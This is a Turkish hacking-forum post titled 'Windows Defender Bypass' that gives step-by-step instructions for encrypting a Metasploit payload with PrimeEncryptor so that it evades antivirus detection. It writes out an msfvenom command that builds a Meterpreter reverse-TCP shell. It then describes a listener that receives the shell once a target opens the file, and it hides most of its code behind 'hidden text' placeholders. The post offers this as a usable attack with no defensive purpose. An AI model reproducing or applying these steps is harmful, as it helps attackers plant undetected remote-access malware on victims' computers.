Windows Defender Bypass

zanzibar' Alıntı:

Merhaba, PrimeEncryptor aracını kullanarak Windows Defender'ı nasıl aşabileceğinizi göstereceğim.
Öncelikle aracı sanal makinemize kuralım.

*** Gizli metin: alıntı yapılamaz. ***



Dosyanın içerisine girerek CodeSnippets içerisindeki AES dosyasını PrimeEncryptor'a kopyalıyoruz.
*** Gizli metin: alıntı yapılamaz. ***

Daha sonra MsfVenom aracını kullanarak bir arka kapı dosyası oluşturuyoruz.
*** Gizli metin: alıntı yapılamaz. ***

Payload üretmek için kullanılan komut ---> msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<LOCAL HOST> LPORT=4444 -f raw > payload.bin
*** Gizli metin: alıntı yapılamaz. ***

AES.cpp dosyasında bazı değişiklikler yapmamız gerekiyor, bu yüzden dosyayı açıp değişiklikleri yapıyoruz.

İlk yorum kısmını silin ve altındaki diğer yorum kısmını yorumdan kaldırın.


*** Gizli metin: alıntı yapılamaz. ***

ilk bölüm (bölümü sil)
*** Gizli metin: alıntı yapılamaz. ***



Daha sonra Kaydedip Çıkın.
Python kodunu çalıştırdığımızda açılan kodda bize verilen kodları çalıştıralım.


*** Gizli metin: alıntı yapılamaz. ***



Çerçevelediğimiz yeri kopyalayıp terminale yapıştırıyoruz.

*** Gizli metin: alıntı yapılamaz. ***



ip ve portu dinlemek için msfconsol kullanıcaz.


*** Gizli metin: alıntı yapılamaz. ***




Hedef sistemdeki kişi dosyamızı açtığı zaman, shell bize geliyor.


*** Gizli metin: alıntı yapılamaz. ***




Windows Defender tehdit hakkında herhangi bir uyarı vermez. Bu şekilde Windows Defender'ı atlatırız

*** Gizli metin: alıntı yapılamaz. ***



KONU SİZE FAYDALI OLDUYSA BEĞENEREK DESTEĞİNİZİ SUNABİLİRSİNİZ... TEŞEKKÜRLER.​

Genişletmek için tıkla ...